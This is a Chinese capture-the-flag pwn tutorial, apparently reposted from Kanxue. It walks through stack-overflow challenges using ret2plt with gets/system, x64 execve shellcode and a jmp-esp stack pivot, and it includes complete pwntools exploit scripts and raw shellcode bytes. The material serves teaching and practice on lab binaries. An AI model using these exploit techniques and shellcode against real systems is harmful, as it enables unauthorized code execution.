linux内核二当家,Linux PWN从入门到熟练(二)
前言
上回說到,如何利用程序中system函數以及bin/sh字符串來進行pwn。這里我們會介紹,如何在棧可執行而system函數以及參數沒有的情況下,如何自己布置payload進行pwn。此外,還提供了一份可以參考的pwn套路,套路熟悉了,即可慢慢轉化為熟悉。故此名曰:入門到熟練(二)。
練習題參考(利用庫函數讀取參數)
所謂的入門到熟練,套路還是要有的。套路有了,就可以見招拆招。我們一步一步來。
拿到題,我們需要依次查看:檢查保護情況
判斷漏洞函數,如gets,scanf等
計算目標變量的在堆棧中距離ebp的偏移
分析是否已經載入了可以利用的函數,如system,execve等
分析是否有字符串/bin/sh
Pwn4題目地址。(參考“閱讀原文”)
第一步,保護情況
發現堆棧不可以執行,其他到還好。那么,我們在溢出時就需要再堆棧中部署的具有功能的地址,而不是具體的代碼了。理解成堆棧中需要布置路線圖,之后的程序按照這個路線圖來執行。
反之,如果堆棧可以執行,我們就要思考如何布置shellcode,如何優化shellcode長度以及刪除壞字符。(將在下一題的時候介紹)
第二步,檢測漏洞函數
發現是gets。這里分享一個ctf-pwn-tips,里面總結了很多的存在漏洞的函數,以及輸入參數的描述,非常實用。TIPS(參考“閱讀原文”)
第三步,確認偏移量。
有幾種方式。
我們可以直接從IDA的代碼中分析出來,參數距離EBP的位置。如上述,看到距離ebp是0x64(100)個的字節,那么距離存放返回地址的偏移就是100+4=104個字節。但是,IDA的分析并不都是準確的,真正準確的位置,還是需要我們手動去調試。具體方法參考Linux PWN從入門到熟練(參考“閱讀原文”)。這里簡單整理一下步驟(假設linux程序在虛擬機guest執行,IDA在主機host執行):拷貝linux_server到guest的程序目錄,并執行;
IDA設置遠程調試,并設置正確的guest IP和端口;
IDA設置程序的斷點在return,可以方便查看寄存器;
運行程序;
用腳本patternLocOffset.py創建偏移測試字符串,700字節度比如;
將產生的字符串在guest中輸入;
查看host中IDA的ebp字符串;
在patternLocOffset.py中計算偏移
最終應該可以看到下面類似的結果。
$ python patternLocOffset.py -l?700?-s?0x41366441
[*] Create pattern?string?contains?700?characters ok!
[*] No exact matches, looking?for?likely candidates...
[+] Possible match at offset?108?(adjusted another-endian)
[+] take time:?0.0004?s
發現實際的偏移是108個字節,覆蓋點距離ebp。那么距離返回地址就應該是108+4=112字節。可見,IDA的分析有時是不準的,需要自己去測量。
第四步,分析可以利用的函數
發現有system的:
第五步,查找是否有系統調用字符串:ROPgadget --binary ret2libc2 --string?"/bin/sh"
Strings information
=========================================================
發現并沒有字符串了,因此這里我們需要想個辦法。
直觀的想法是在shellcode中,在參數的位置直接放入字符串“/bin/sh”,比如下面這樣:
payload?= flat(['a'?*?112, system_plt,?0xabcdabcd, “/bin/sh”])
但是正如我們前面所說,放在堆棧中的是程序執行的路線圖,而不是實際的程序或者字符串,因此,按照上述方式放置字符串,system并不會讀取”/bin/sh”,而是讀取”/bin/sh”對應的4個字節的地址所指向的內存空間,這個空間明顯是不合法,因此就會導致利用失敗。
怎么辦呢?我們發現程序中還載入了函數gets,那么我們可以利用gets來讀取用戶輸入的”/bin/sh”放置到某個地址空間去,接著system再調用它。“某個地址空間”可以是下面的buf2,可以發現它的地址是0x0804A080。這個空間可以讓我們使用(感覺明顯是CTF題留出來的位置= =)。
那么,我們的exp可以按照下面的方式安排:##!/usr/bin/env?python
from pwn import *
sh?= process('./pwn4')
shelf = ELF('./pwn4')
gets_plt = shelf.plt['gets']
system_plt = shelf.plt['system']
pop_ebp =?0x0804872f
buf2 =?0x804a080
payload = flat(
['a'?*?112, gets_plt, pop_ebp, buf2, system_plt,?0xabcdabcd, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
其中關鍵的代碼是:
payload = flat(
['a'?*?112, gets_plt, pop_ebp, buf2, system_plt,?0xabcdabcd, buf2])
相信有的朋友會不明白,為啥有個[gets_plt, pop_ebp, buf2],這樣的payload布置。Pop_ebp的主要目的是讓eip流向system的位置,并且取出system地址賦值給eip。
Pop_ebp其實不一定是pop ebp,pop任何其他的寄存器都可以,主要是利用該指令的esp+4的功能。比如,我們可以找到如下的位置,其中0x0804872f,0x0804843d都可以讓它esp+4操作一次就好,操作多了就流的多了,就不指向system地址了,注意我們這里還要求得要返回ret一下,這樣才會實際的提取system的地址出來,賦值給eip:@ubuntu:~/ $ ROPgadget --binary pwn4 --only?'pop|ret'
Gadgets information
============================================================
0x0804872f?: pop ebp ;?ret
0x0804872c?:?pop?ebx?;?pop?esi?;?pop?edi?;?pop?ebp?;?ret
0x0804843d?:?pop?ebx?;?ret
0x0804872e?:?pop?edi?;?pop?ebp?;?ret
0x0804872d?:?pop?esi?;?pop?edi?;?pop?ebp?;?ret
0x08048426?:?ret
0x0804857e?:?ret?0xeac1
Unique?gadgets?found:?7
未來更清楚一些,畫了一個圖,其中序號的順序表示,對應的命令執行完之后,esp對應的位置。
第一題(堆棧直接執行shellcode)
接下來這題,我們再輕松一點,可以直接在堆棧中執行程序。
pwn5(參考“閱讀原文”)
繼續前面的套路。
第一步,查看保護
發現,可以直接在堆棧上執行程序了,開啟的是PIE,地址隨機化的保護。
第二步,判斷漏洞函數。
發現函數是read,僅僅讀取0x40(64)個字節。
第三步,計算目標變量的在堆棧中距離ebp的偏移
EBP的內容為:0x3761413661413561$ python patternLocOffset.py -l?700?-s?0x3761413661413561
[*] Create pattern?string?contains?700?characters ok!
[*] No exact matches, looking?for?likely candidates...
[+] Possible match at offset?16?(adjusted another-endian)
[+] take time:?0.0005?s
距離EBP的偏移是16個字節,距離存放的返回地址是16+8=24個字節。
這里可以發現IDA分析的又是正確的了,0x10個字節。
第四步和第五步,分析是否已經載入了可以利用的函數
如system,execve等
發現,并沒有上述函數。但是由于堆棧可以執行,因此我們可以考慮直接將shellcode阻止在payload里面。因此,這里和第五步分析是否有字符串/bin/sh合并了,我們可以自己放置字符串,并且調用對應的地址了。
理論上,我們可以直接利用pwntools產生的shellcode來進行部署,但是這道題有點特殊。在返回地址之后所剩余的空間=64-24-8=32個字節(返回地址還要占用8個字節),因此實際部署shellcode的長度還剩下32個字節,使用pwntools產生的shellcode有44個字節,太長了。因此,我們可以從網上找到更短的shellcode:# 23 bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64?=?"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
它的匯編形式是:#?char *const argv[]
xorl %esi, %esi
#
'h'?'s'?'/'?'/'?'n'?'i'?'b'?'/'
movq $0x68732f2f6e69622f, %rbx
#
for?'\x00'
pushq %rsi
pushq %rbx
pushq %rsp
#
const char *filename
popq %rdi
#
__NR_execve 59
pushq $59
popq %rax
#
char *const envp[]
xorl %edx, %edx
syscall
好了,shellcode確定好了,我們現在還有一個問題。Shellcode執行的地址如何確定呢?shellcode的地址,其實就是buf的地址加上32個字節的偏移。
我們前面發現,該程序是動態改變地址的,因此靜態的確認buf地址是不可行的,進而靜態的確認shellcode的地址是不可行的。
處理到這里好像有點死胡同了,我們發現程序中有printf函數,理論上可以利用它來打印buf的地址,然后實時的計算buf+32的地址,就能夠得到shellcode的地址。但是,我們回頭看看程序本身的執行,會發現:
它實際上已經為我們解決了這個問題,自己輸出了buf的地址(= = CTF題目的難易程度真的是微妙之間呀)。
那么,我們的exp思路就是: 實時讀取buf的地址,計算buf+32得到shellcode的地址,放置在payload中。from pwn import *
code = ELF('./pwn5')
#?23?bytes
# https://www.exploit-db.com/exploits/36858/
shellcode_x64 =?"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
sh.recvuntil('[')
buf_addr =?sh.recvuntil(']',?drop=True)
buf_addr =?int(buf_addr,?16)
payload =?'b'?*?24?+ p64(buf_addr +?32) + shellcode_x64
sh.sendline(payload)
sh.interactive()
堆棧的布置圖,以及地址的相對位置,以buf為起點。
第二題(控制esp進行精準打擊)
接下來,我們來點有難度的。在這個程序中,我們的payload實在放不下了,即使是23字節,那么怎么辦呢?
pwn6(參考“閱讀原文”)
繼續前面的過程:
第一步:檢測保護情況
發現,是個三無程序。么有任何保護,看起來很簡單?哈哈,并沒有。看官請繼續。
第二步,判斷漏洞函數
如gets,scanf等:
發現是fgets函數,僅僅讀取50個字節的字符長度。
第三步
計算目標變量的在堆棧中距離ebp的偏移。
方法和前面類似,發現偏移距離ebp是0x20,那么距離ret_addr就是0x20+4=0x24(36)字節了。
第四步和第五步
分析是否已經載入了可以利用的函數。發現并沒有:
$?ROPgadget --binary stack_pivoting_1 --string?'/bin/sh'
Strings information
============================================================
字符串自然也是沒有的。
我們考慮利用shellcode,好像可以類似于上一題的操作了。但是并不能,留給我們布置shellcode的長度為50-36-4=10字節(同樣有4個字節的返回地址存放)!尷尬不==,放兩個地址就沒有位置了。但如果你能夠厲害到用10個字節做shellcode,請大膽分享出來!
那么怎么辦呢?
既然,堆棧溢出的位置不行了,那么我們就把shellcode放在棧里面吧!因為堆棧具有可執行的權限,因此這樣完全是可行的。
這里,我先放圖出來解釋一下思路:
我們這樣就總共有0x20(36個字節)的位置存放shellcode的了,頓時感覺找到了新出路。但是,要做到跳轉到放置shellcode的位置,似乎并沒有那么簡單。要達到這個目的,我們需要做到以下幾件事情:
推算shellcode放置的地址
跳轉到shellcode放置的位置
首先,第一點,shellcode的位置就是發射payload的時候esp_old的位置,我們可以推算出來,當程序提取完返回地址之后,esp指向的地址距離esp_old的地址為0x20+4(ebp)+4(ret_addr)=0x28。因此,我們需要用當前的esp-0x28,得到的就是shellcode的地址。
對于第二點,我們如何讓eip順利的依次取出我們設計好的路線圖呢?在ret_addr,我們需要尋找到一個gadget,它能夠跳轉到esp的位置,以繼續往后執行棧上的代碼。注意,這里我們為什么不直接將可執行的代碼布置在ret_addr的位置,因為這里是原本的函數提取返回函數地址的地方,它并不會執行這里位置的代碼,而是執行這個位置的內容指向的地址的代碼。我們需要jmp esp這個操作,來讓程序流獲得在棧上執行的先河。$ ROPgadget --binary stack_pivoting_1 --only?'jmp|ret'?|?grep?'esp'
0x08048504 : jmp esp
發現只有這么一個地址。0x08048504。這也正是圖中的位置。注意,當我們取出ret_addr里面的地址的時候,esp已經+4了,因此就會指向我們的下一步操作:跳轉回esp_old的位置。
在這里,我們直接可以選擇讓pwntools產生可執行的代碼”sub ?esp 0x28; jmp esp”。注意,這里可以是直接運行的代碼,因為我們的程序已經開始在棧上執行了,而不再是取出地址了。
最后的EXP按照下面這樣布置:from pwn import *
sh?= process('./pwn6')
shellcode_x86 =?"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 +=?"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 +=?"\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp =?0x08048504
payload = shellcode_x86 + (
0x20 -?len(shellcode_x86)) *?'b'?+?'bbbb'?+ p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()
注意,這里我們又啟用了另外一段代碼:
它更加短,只有21個字節。Shellcode越短是越好的。它的匯編對應如下:shellcode_x86 =?"\x31\xc9” ? ? ? ? ? ? ? ? ?# xor ? ?ecx, ecx
shellcode_x86 += “\xf7\xe1” ? ? ? ? ? ?# mul ? ?ecx
shellcode_x86 += “\x51” ? ? ? ? ? ?# push ? ecx
shellcode_x86 +=?"\x68\x2f\x2f\x73\x68"?# push?0x68732f2f
shellcode_x86 +=?"\x68\x2f\x62\x69\x6e"?# push?0x6e69622f
shellcode_x86 += “\x89\xe3” ? ? ? ? ? ?# mov ? ?ebx, esp
shellcode_x86 += “\xb0\x0b” ? ? ? ? ? ?# moval,?0xb
shellcode_x86 +=?"\xcd\x80"?#?int?0x80
總結
最后,再次給大家留下練習題。
pwn7(參考“閱讀原文”)
給大家一個小tips,32位和64位程序的調試,一般的處理方式是準備兩個虛擬機。但是這樣操作太麻煩了,而且pwntools在32位下面經常無法正常工作。怎么辦呢?理論上64位ubuntu是可以運行32位程序的,但是需要相關的庫函數安裝。使用下面的命令安裝就好(參考):sudo dpkg --add-architecture i386
sudo apt-get?update
sudo apt-get?install zlib1g:i386?libstdc++6:i386 libc6:i386
如果是比較老的版本,可以用下面的命令:
sudo apt-get?install?ia32-libs
如果大家覺得好,歡迎大家來我的github主頁follow:
desword_github,desword(參考“閱讀原文”)
其中第二題參考了ctf wiki:
原文作者:
轉載請注明:轉自看雪學院
更多閱讀:
總結
以上是生活随笔為你收集整理的linux内核二当家,Linux PWN从入门到熟练(二)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 手机linux内核下载,Linux Ke
- 下一篇: linux 日志监控工具,详解 Linu